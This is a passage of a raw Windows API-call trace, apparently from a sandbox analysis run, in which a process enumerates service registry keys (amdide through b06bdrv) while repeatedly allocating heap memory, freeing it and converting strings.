(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0220.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0220.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0220.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0220.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.704] RtlAllocateHeap 